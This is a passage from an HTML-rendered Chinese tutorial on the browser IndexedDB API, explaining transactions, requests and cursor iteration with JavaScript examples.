function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">4</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">// &#x4ECE;&#x4E8B;&#x52A1;&#x4E2D;&#x83B7;&#x53D6;&#x5DF2;&#x7ECF;&#x5B58;&#x5728;&#x7684; objectStore</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mystore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> indexNames <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span>indexNames\n  <span class=\"token comment\">// &#x5148;&#x5220;&#x9664;&#x5BF9;&#x5E94;&#x7684;&#x7D22;&#x5F15;</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>indexNames<span class=\"token punctuation\">.</span><span class=\"token function\">includes</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;name&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">deleteIndex</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;name&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n  <span class=\"token comment\">// &#x518D;&#x91CD;&#x65B0;&#x521B;&#x5EFA;&#x4E00;&#x4E2A;&#x65B0;&#x7684;&#x540C;&#x540D;&#x7D22;&#x5F15;</span>\n  objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">createIndex</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;name&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token string\">&apos;name&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>unique<span class=\"token punctuation\">:</span> <span class=\"token boolean\">false</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h3 id=\"&#x4E8B;&#x52A1;\"><a name=\"&#x4E8B;&#x52A1;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E8B;&#x52A1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E8B;&#x52A1;\" class=\"plugin-anchor\" href=\"#&#x4E8B;&#x52A1;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4E8B;&#x52A1;</h3>\n<p>&#x6240;&#x6709;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x90FD;&#x6709;&#x4E8B;&#x52A1;&#x8FD9;&#x4E2A;&#x6982;&#x5FF5;&#xFF0C;&#x5B83;&#x662F;&#x4E3A;&#x4E86;&#x786E;&#x4FDD;&#x5F53;&#x67D0;&#x4E9B;&#x64CD;&#x4F5C;&#x90E8;&#x5206;&#x6267;&#x884C;&#x65F6;&#x4E0D;&#x81F4;&#x6DF7;&#x4E71;&#x3002;&#x4E3E;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4F8B;&#x5B50;&#xFF0C;&#x5F53;&#x4F60;&#x8F6C;&#x8D26;&#x7ED9;&#x522B;&#x4EBA;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x53D1;&#x8D77;&#x4E86;&#x4E00;&#x4E2A;&#x8BF7;&#x6C42;&#xFF0C;&#x4F60;&#x7684;&#x94F6;&#x884C;&#x5C31;&#x64CD;&#x4F5C;&#x4ECE;&#x6570;&#x636E;&#x5E93;&#x91CC;&#x628A;&#x76F8;&#x5E94;&#x7684;&#x94B1;&#x6263;&#x6389;&#xFF0C;&#x4F46;&#x662F;&#x8FD9;&#x65F6;&#x5019;&#x94F6;&#x884C;&#x673A;&#x623F;&#x51FA;&#x95EE;&#x9898;&#x4E86;&#xFF0C;&#x4F60;&#x670B;&#x53CB;&#x7684;&#x94F6;&#x884C;&#x5E76;&#x6CA1;&#x6709;&#x6536;&#x5230;&#x8FD9;&#x4E2A;&#x8F6C;&#x5165;&#x7684;&#x8BF7;&#x6C42;&#xFF0C;&#x90A3;&#x5C82;&#x4E0D;&#x662F;&#x4F1A;&#x51FA;&#x73B0;&#x4F60;&#x7684;&#x94B1;&#x5DF2;&#x7ECF;&#x6263;&#x4E86;&#xFF0C;&#x4F46;&#x662F;&#x522B;&#x4EBA;&#x5E76;&#x6CA1;&#x6709;&#x6536;&#x5230;&#x7684;&#x60C5;&#x51B5;&#xFF1F;</p>\n<p>&#x6570;&#x636E;&#x5E93;&#x7CFB;&#x7EDF;&#x4E3A;&#x4E86;&#x907F;&#x514D;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#xFF0C;&#x91C7;&#x7528;&#x4E8B;&#x52A1;&#x673A;&#x5236;&#xFF0C;&#x5982;&#x679C;&#x51FA;&#x9519;&#x90A3;&#x5C31;&#x56DE;&#x6EDA;&#xFF0C;&#x628A;&#x4F60;&#x6253;&#x51FA;&#x53BB;&#x4F46;&#x5BF9;&#x65B9;&#x6CA1;&#x6536;&#x5230;&#x7684;&#x94B1;&#x56DE;&#x5230;&#x4F60;&#x8D26;&#x4E0A;&#xFF0C;&#x91CD;&#x65B0;&#x518D;&#x6267;&#x884C;&#x4E00;&#x6B21;&#x6253;&#x94B1;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x4FDD;&#x8BC1;&#x4E86;&#x6570;&#x636E;&#x5E93;&#x589E;&#x5220;&#x6539;&#x6709;&#x5E8F;&#x4E0D;&#x6DF7;&#x4E71;&#x3002;</p>\n<p>IndexedDB &#x91CC;&#x9762;&#x7684;&#x4E8B;&#x52A1;&#x4E5F;&#x662F;&#x4E00;&#x6837;&#xFF0C;&#x4FDD;&#x8BC1;&#x4E86;&#x6240;&#x6709;&#x64CD;&#x4F5C;&#xFF08;&#x7279;&#x522B;&#x662F;&#x5199;&#x5165;&#x64CD;&#x4F5C;&#xFF09;&#x662F;&#x6309;&#x7167;&#x4E00;&#x5B9A;&#x7684;&#x987A;&#x5E8F;&#x8FDB;&#x884C;&#xFF0C;&#x4E0D;&#x4F1A;&#x5BFC;&#x81F4;&#x540C;&#x65F6;&#x5199;&#x5165;&#x7684;&#x95EE;&#x9898;&#x3002;&#x53E6;&#x5916;&#xFF0C;IndexedDB &#x5F3A;&#x5236;&#x89C4;&#x5B9A;&#x4E86;&#x4EFB;&#x4F55; object &#x8BFB;&#x5199;&#x7684;&#x64CD;&#x4F5C;&#x90FD;&#x5FC5;&#x987B;&#x5728;&#x4E00;&#x4E2A;&#x4E8B;&#x52A1;&#x4E2D;&#x8FDB;&#x884C;&#x3002;&#x4ECE;&#x524D;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x91CC;&#x9762;&#x4F60;&#x4E5F;&#x770B;&#x5230;&#x4E86;&#xFF0C;&#x5BF9; objectStore &#x7684;&#x4FEE;&#x6539;&#x5176;&#x5B9E;&#x4E5F;&#x662F;&#x5728;&#x4E00;&#x4E2A;&#x4E8B;&#x52A1;&#x4E2D;&#x8FDB;&#x884C;&#x3002;</p>\n<p>&#x5728;&#x4EE3;&#x7801;&#x5C42;&#x9762;&#x5FC5;&#x987B;&#x901A;&#x8FC7; <code>db.transaction()</code> &#x65B9;&#x6CD5;&#x5411;&#x6570;&#x636E;&#x5E93;&#x5BB9;&#x5668;&#x63D0;&#x51FA;&#x4E8B;&#x52A1;&#x8981;&#x6C42;&#xFF0C;&#x624D;&#x80FD;&#x5BF9;&#x5177;&#x4F53;&#x7684; objectStore &#x8FDB;&#x884C;&#x6570;&#x636E;&#x5904;&#x7406;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n    <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&apos;readonly&apos;</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectRequest <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;111&apos;</span><span class=\"token punctuation\">)</span>\n  objectRequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5230;&#x7684;&#x6570;&#x636E;</span>\n    <span class=\"token keyword\">let</span> object <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x7684;&#x64CD;&#x4F5C;&#xFF0C;&#x5F97;&#x5230;&#x4E86;&#x5177;&#x4F53;&#x8981;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x7684; objectStore&#xFF0C;&#x8FD9;&#x4E0E;&#x76F4;&#x63A5;&#x901A;&#x8FC7; <code>db.objectStore(&apos;myObjectStore&apos;)</code> &#x8FD9;&#x6837;&#x7B80;&#x6D01;&#x7684;&#x65B9;&#x6CD5;&#x5B8C;&#x5168;&#x4E0D;&#x540C;&#xFF0C;IndexedDB &#x4E2D;&#x4E0D;&#x80FD;&#x8FD9;&#x4E48;&#x76F4;&#x63A5;&#x53BB;&#x83B7;&#x53D6; objectStore&#xFF0C;&#x800C;&#x5FC5;&#x987B;&#x901A;&#x8FC7; <code>db.transaction()</code> &#x65B9;&#x6CD5;&#x3002;<code>db.transaction()</code> &#x65B9;&#x6CD5;&#x6709;&#x4E24;&#x4E2A;&#x53C2;&#x6570;&#xFF1A;</p>\n<ul>\n<li>objectStores&#xFF1A;&#x4E8B;&#x52A1;&#x6253;&#x7B97;&#x5BF9;&#x54EA;&#x4E9B; objectStore &#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#xFF0C;&#x56E0;&#x6B64;&#x662F;&#x4E00;&#x4E2A;&#x6570;&#x7EC4;</li>\n<li>mode&#xFF1A;&#x5BF9;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x7684; objectStore &#x7684;&#x6A21;&#x5F0F;&#xFF0C;&#x5373;&#x8BFB;&#x5199;&#x6743;&#x9650;&#x63A7;&#x5236;&#xFF0C;readonly | readwrite</li>\n</ul>\n<p>&#x800C;&#x901A;&#x8FC7; <code>transaction.objectStore()</code> &#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x83B7;&#x53D6;&#x60F3;&#x8981;&#x64CD;&#x4F5C;&#x7684; objectStore &#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x7684;&#x53C2;&#x6570;&#x5FC5;&#x987B;&#x5B58;&#x5728;&#x4E8E; <code>db.transaction()</code> &#x65B9;&#x6CD5;&#x6307;&#x5B9A;&#x7684; objectStores &#x53C2;&#x6570;&#x6570;&#x7EC4;&#x4E2D;&#xFF0C;&#x6BD5;&#x7ADF;&#x8FD9;&#x4E2A;&#x4E8B;&#x52A1;&#x5DF2;&#x7ECF;&#x89C4;&#x5B9A;&#x4E86;&#x8981;&#x5BF9;&#x54EA;&#x4E9B; objectStore &#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x3002;</p>\n<p>&#x56E0;&#x4E3A; objectStore &#x662F;&#x5728;&#x4E8B;&#x52A1;&#x4E2D;&#x83B7;&#x53D6;&#xFF0C;&#x56E0;&#x6B64;&#x4E00;&#x4E2A; objectStore &#x5B9E;&#x4F8B;&#xFF0C;&#x5982;&#x679C;&#x6709;&#x4E00;&#x4E2A; transaction &#x5C5E;&#x6027;&#x7684;&#x8BDD;&#xFF0C;&#x90A3;&#x4E48;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x8FD9;&#x4E2A;&#x5C5E;&#x6027;&#x627E;&#x51FA;&#x5B83;&#x7684;&#x4E8B;&#x52A1;&#x7684;&#x5B9E;&#x4F8B;&#x3002;&#x5728; IndexedDB &#x4E2D;&#xFF0C;&#x53EA;&#x80FD;&#x5728;&#x4E8B;&#x52A1;&#x4E2D;&#x5F97;&#x5230;&#x4E00;&#x4E2A; objectStore &#x5B9E;&#x4F8B;&#xFF0C;&#x5982;&#x679C;&#x901A;&#x8FC7; db &#x7684;&#x8BDD;&#xFF0C;&#x6700;&#x591A;&#x53EA;&#x80FD;&#x5F97;&#x5230; objectStore &#x7684;&#x540D;&#x5B57;&#x5217;&#x8868;&#xFF0C;&#x5982;&#x679C;&#x8981;&#x83B7;&#x5F97; objectStore &#x7684;&#x5B9E;&#x4F8B;&#xFF0C;&#x5FC5;&#x987B;&#x5728; transaction &#x4E2D;&#x3002;</p>\n<h3 id=\"&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;\"><a name=\"&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;\" class=\"plugin-anchor\" href=\"#&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x64CD;&#x4F5C;&#x8BF7;&#x6C42;</h3>\n<p>Request &#x662F;&#x5728;&#x4E8B;&#x52A1;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x53D1;&#x8D77;&#x67D0;&#x9879;&#x64CD;&#x4F5C;&#x7684;&#x8BF7;&#x6C42;&#x3002;&#x4E00;&#x4E2A;&#x4E8B;&#x52A1;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x53EF;&#x4EE5;&#x6709;&#x591A;&#x4E2A; Request&#xFF0C;Request &#x4E00;&#x5B9A;&#x5B58;&#x5728;&#x4E8E;&#x4E8B;&#x52A1;&#x4E2D;&#xFF0C;&#x56E0;&#x6B64;&#x5B83;&#x80AF;&#x5B9A;&#x4F1A;&#x6709;&#x4E00;&#x4E2A; transaction &#x5C5E;&#x6027;&#x6765;&#x83B7;&#x53D6;&#x5B83;&#x6240;&#x5C5E;&#x4E8E;&#x7684;&#x90A3;&#x4E2A;&#x4E8B;&#x52A1;&#x7684;&#x5BB9;&#x5668;&#x3002;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x628A; transaction &#x5F53;&#x505A;&#x4E00;&#x4E2A;&#x961F;&#x5217;&#xFF0C;&#x5728;&#x8FD9;&#x4E2A;&#x961F;&#x5217;&#x4E2D;&#xFF0C;Request &#x8FDB;&#x884C;&#x6392;&#x961F;&#xFF0C;&#x6BCF;&#x4E00;&#x4E2A; Request &#x90FD;&#x53EA;&#x5305;&#x542B;&#x4E00;&#x4E2A;&#x64CD;&#x4F5C;&#xFF0C;&#x6BD4;&#x5982;&#x6DFB;&#x52A0;&#xFF0C;&#x4FEE;&#x6539;&#xFF0C;&#x5220;&#x9664;&#x6570;&#x636E;&#x4E4B;&#x7C7B;&#x7684;&#x3002;&#x8FD9;&#x4E9B;&#x64CD;&#x4F5C;&#x4E0D;&#x80FD;&#x9A6C;&#x4E0A;&#x8FDB;&#x884C;&#xFF0C;&#x6BD4;&#x5982;&#x4FEE;&#x6539;&#x64CD;&#x4F5C;&#xFF0C;&#x5982;&#x679C;&#x9A6C;&#x4E0A;&#x8FDB;&#x884C;&#xFF0C;&#x5C31;&#x4F1A;&#x5BFC;&#x81F4;&#x5927;&#x5BB6;&#x540C;&#x65F6;&#x4FEE;&#x6539;&#x600E;&#x4E48;&#x529E;&#x7684;&#x95EE;&#x9898;&#xFF0C;&#x628A;&#x591A;&#x4E2A;&#x4FEE;&#x6539;&#x64CD;&#x4F5C;&#x653E;&#x5728; Request &#x4E2D;&#xFF0C;&#x8FD9;&#x4E9B; Request &#x5728; transaction &#x4E2D;&#x6392;&#x961F;&#xFF0C;&#x4E00;&#x4E2A;&#x4E00;&#x4E2A;&#x5904;&#x7406;&#xFF0C;&#x8FD9;&#x6837;&#x5C31;&#x4F1A;&#x6709;&#x6267;&#x884C;&#x7684;&#x987A;&#x5E8F;&#xFF0C;&#x4FEE;&#x6539;&#x5C31;&#x6709;&#x524D;&#x540E;&#x4E4B;&#x5206;&#x3002;&#x540C;&#x65F6;&#xFF0C;transaction &#x90FD;&#x53EF;&#x4EE5;&#x88AB;&#x4E2D;&#x65AD;&#xFF0C;&#x8FD9;&#x6837;&#x5F53;&#x4E00;&#x7CFB;&#x5217;&#x7684;&#x64CD;&#x4F5C;&#x88AB;&#x653E;&#x5F03;&#x4E4B;&#x540E;&#xFF0C;&#x540E;&#x7EED;&#x7684;&#x64CD;&#x4F5C;&#x4E5F;&#x4E0D;&#x4F1A;&#x8FDB;&#x884C;&#x3002;</p>\n<p>&#x800C;&#x4E14;&#x6709;&#x610F;&#x601D;&#x7684;&#x662F;&#xFF0C;Request &#x662F;&#x5F02;&#x6B65;&#x7684;&#xFF0C;&#x5B83;&#x662F;&#x6709;&#x72B6;&#x6001;&#x7684;&#x3002;&#x4E00;&#x4E2A; Request &#x5904;&#x4E8E;&#x4EC0;&#x4E48;&#x72B6;&#x6001;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; readyStates &#x5C5E;&#x6027;&#x67E5;&#x5230;&#xFF0C;&#x8FD9;&#x5BF9;&#x5F00;&#x53D1;&#x8005;&#x800C;&#x8A00;&#x4E5F;&#x66F4;&#x53EF;&#x63A7;&#x3002;&#x76EE;&#x524D;&#xFF0C;&#x5728; IndexedDB &#x4E2D;&#xFF0C;&#x6709;&#x56DB;&#x79CD;&#x60C5;&#x5F62;&#x4EA7;&#x751F; Request&#xFF1A;<code>open database</code>&#xFF0C;<code>objectStore request</code>, <code>cursor request</code>, <code>index request</code>&#x3002;</p>\n<h3 id=\"&#x6E38;&#x6807;\"><a name=\"&#x6E38;&#x6807;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6E38;&#x6807;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6E38;&#x6807;\" class=\"plugin-anchor\" href=\"#&#x6E38;&#x6807;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6E38;&#x6807;</h3>\n<p>&#x6240;&#x8C13;&#x6E38;&#x6807;&#xFF0C;&#x7B80;&#x5355;&#x7684;&#x7406;&#x89E3;&#xFF0C;&#x5C31;&#x662F;&#x201C;<strong>&#x4E00;&#x4E2A;&#x7528;&#x6765;&#x8BB0;&#x5F55;&#x6570;&#x7EC4;&#x6B63;&#x5728;&#x88AB;&#x64CD;&#x4F5C;&#x7684;&#x67D0;&#x4E2A;&#x4E0B;&#x6807;&#x4F4D;&#x7F6E;&#x7684;&#x53D8;&#x91CF;</strong>&#x201D;&#xFF0C;&#x4E3E;&#x4E2A;&#x4F8B;&#x5B50;&#xFF1A;&#x5BF9;&#x6570;&#x7EC4; <code>[1, 2, 3, 4]</code> &#x8FDB;&#x884C;&#x904D;&#x5386;&#xFF0C;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>forEach()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x90A3;&#x4E48; <code>forEach()</code> &#x65B9;&#x6CD5;&#x600E;&#x4E48;&#x77E5;&#x9053;&#x4E0A;&#x6B21;&#x64CD;&#x4F5C;&#x5230;&#x7B2C;&#x51E0;&#x4E2A;&#x5143;&#x7D20;&#xFF0C;&#x53C8;&#x600E;&#x4E48;&#x77E5;&#x9053;&#x73B0;&#x5728;&#x5E94;&#x8BE5;&#x64CD;&#x4F5C;&#x7B2C;&#x51E0;&#x4E2A;&#x5143;&#x7D20;&#x5462;&#xFF1F;&#x5C31;&#x662F;&#x901A;&#x8FC7;&#x6E38;&#x6807;&#x6765;&#x5224;&#x65AD;&#x3002;</p>\n<p>&#x6E38;&#x6807;&#x662F;&#x4E00;&#x4E2A;&#x673A;&#x5236;&#xFF0C;&#x65E0;&#x6CD5;&#x628A;&#x6E38;&#x6807;&#x6253;&#x5370;&#x51FA;&#x6765;&#x770B;&#xFF0C;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x6E38;&#x6807;&#x5F97;&#x5230;&#x4F60;&#x5F53;&#x524D;&#x64CD;&#x4F5C;&#x7684;&#x5143;&#x7D20;&#xFF0C;&#x6362;&#x53E5;&#x8BDD;&#x8BF4;&#xFF0C;&#x6E38;&#x6807;&#x6709;&#x7740;&#x7C7B;&#x4F3C; <code>next()</code> &#x7684;&#x65B9;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x79FB;&#x52A8;&#x6E38;&#x6807;&#x5230;&#x4E0B;&#x4E00;&#x4E2A;&#x4F4D;&#x7F6E;&#x3002;</p>\n<p>&#x5F53;&#x6570;&#x636E;&#x91CF;&#x5DE8;&#x5927;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x60F3;&#x8981;&#x83B7;&#x53D6;&#x4E00;&#x4E2A; objectStore &#x4E2D;&#x7684;&#x5168;&#x90E8; object &#x53EF;&#x4E0D;&#x662F;&#x4E00;&#x4EF6;&#x7B80;&#x5355;&#x7684;&#x4E8B;&#x3002;IndexedDB &#x6CA1;&#x6709;&#x76F4;&#x63A5;&#x63D0;&#x4F9B;&#x7C7B;&#x4F3C;&#x7684;&#x65B9;&#x6CD5;&#x6765;&#x83B7;&#x53D6;&#x3002;&#x4F46;&#x662F;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x6E38;&#x6807;&#x6765;&#x89E3;&#x51B3;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">10</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n    <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&apos;readonly&apos;</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x6253;&#x5F00;&#x4E00;&#x4E2A;&#x6E38;&#x6807;</span>\n  <span class=\"token keyword\">let</span> cursorRequest <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">openCursor</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> results <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n  cursorRequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">let</span> cursor <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>cursor<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      results<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span>cursor<span class=\"token punctuation\">.</span>value<span class=\"token punctuation\">)</span>\n      cursor<span class=\"token punctuation\">.</span><span class=\"token function\">continue</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token comment\">// &#x904D;&#x5386;&#x4E4B;&#x540E;&#x7684; object &#x6570;&#x636E;&#x5217;&#x8868;&#x7684;&#x7ED3;&#x679C;</span>\n      console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>results<span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x901A;&#x8FC7; <code>objectStore.openCursor()</code> &#x65B9;&#x6CD5;&#x6253;&#x5F00;&#x6E38;&#x6807;&#x673A;&#x5236;&#xFF0C;&#x8BE5;&#x65B9;&#x6CD5;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A; Request &#x5BF9;&#x8C61;&#xFF0C;&#x5728;&#x8FD9;&#x4E2A; Request &#x5BF9;&#x8C61;&#x7684; <code>onsuccess</code> &#x56DE;&#x8C03;&#x4E2D;&#xFF0C;&#x5982;&#x679C; cursor &#x6CA1;&#x6709;&#x904D;&#x5386;&#x5B8C;&#x6240;&#x6709; object&#xFF0C;&#x90A3;&#x4E48;&#x901A;&#x8FC7;&#x6267;&#x884C; <code>cursor.continue()</code> &#x6765;&#x8BA9;&#x6E38;&#x6807;&#x6ED1;&#x52A8;&#x5230;&#x4E0B;&#x4E00;&#x4E2A; object&#xFF0C;<code>onsucess</code> &#x56DE;&#x8C03;&#x4F1A;&#x88AB;&#x518D;&#x6B21;&#x89E6;&#x53D1;&#x3002;&#x800C;&#x5982;&#x679C;&#x6240;&#x6709;&#x7684; object &#x90FD;&#x904D;&#x5386;&#x5B8C;&#x4E86;&#xFF0C;cursor &#x53D8;&#x91CF;&#x4F1A;&#x662F; <code>undefined</code>&#x3002;</p>\n<p>&#x6CE8;&#x610F;&#x4E0A;&#x9762;&#x7684; results &#x53D8;&#x91CF;&#xFF0C;&#x5B83;&#x7684;&#x58F0;&#x660E;&#x5FC5;&#x987B;&#x653E;&#x5728; <code>onsuccess</code> &#x56DE;&#x8C03;&#x51FD;&#x6570;&#x7684;&#x5916;&#x90E8;&#xFF0C;&#x56E0;&#x4E3A;&#x8BE5;&#x56DE;&#x8C03;&#x51FD;&#x6570;&#x4F1A;&#x5728;&#x904D;&#x5386;&#x8FC7;&#x7A0B;&#x4E2D;&#x53CD;&#x590D;&#x6267;&#x884C;&#x3002;</p>\n<p>&#x5728; Firefox &#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x81EA;&#x4E3B;&#x5B9E;&#x73B0;&#x4E86;&#x4E00;&#x4E2A; <code>getAll()</code> &#x65B9;&#x6CD5;&#x53EF;&#x4EE5;&#x83B7;&#x53D6; objectStore &#x4E2D;&#x6240;&#x6709;&#x7684; object&#xFF0C;&#x4F46;&#x662F;&#x5B83;&#x4E0D;&#x662F;&#x6807;&#x51C6;&#x7684; IndexedDB &#x7684;&#x63A5;&#x53E3;&#xFF0C;&#x56E0;&#x6B64;&#x4E0D;&#x63A8;&#x8350;&#x4F7F;&#x7528;&#xFF0C;&#x800C;&#x672C;&#x4F8B;&#x7684;&#x64CD;&#x4F5C;&#x65B9;&#x6CD5;&#xFF0C;&#x901A;&#x5E38;&#x662F;&#x83B7;&#x53D6;&#x5168;&#x90E8; object 